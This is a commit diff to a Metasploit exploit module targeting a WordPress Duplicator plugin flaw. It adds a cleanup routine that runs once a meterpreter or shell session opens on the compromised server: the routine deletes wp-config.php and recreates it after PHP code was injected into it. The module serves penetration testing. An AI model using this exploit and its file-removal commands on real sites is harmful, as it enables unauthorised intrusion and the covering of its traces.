Added the clean_up function

modules/exploits/multi/php/wordpress_duplicator.rb

@@ -141,4 +141,14 @@ class MetasploitModule < Msf::Exploit::Remote
       print_error("Failed to inject PHP code in wp-config.php...")
     end
   end
+
+  def on_new_session(client)
+    if client.type.eql? 'meterpreter'
+      client.core.use 'stdapi' unless client.ext.aliases.include? 'stdapi'
+      client.fs.file.rm 'wp-config.php'
+    else
+      client.shell_command_token 'rm wp-config.php'
+    end
+    create_wp_config_file
+  end
 end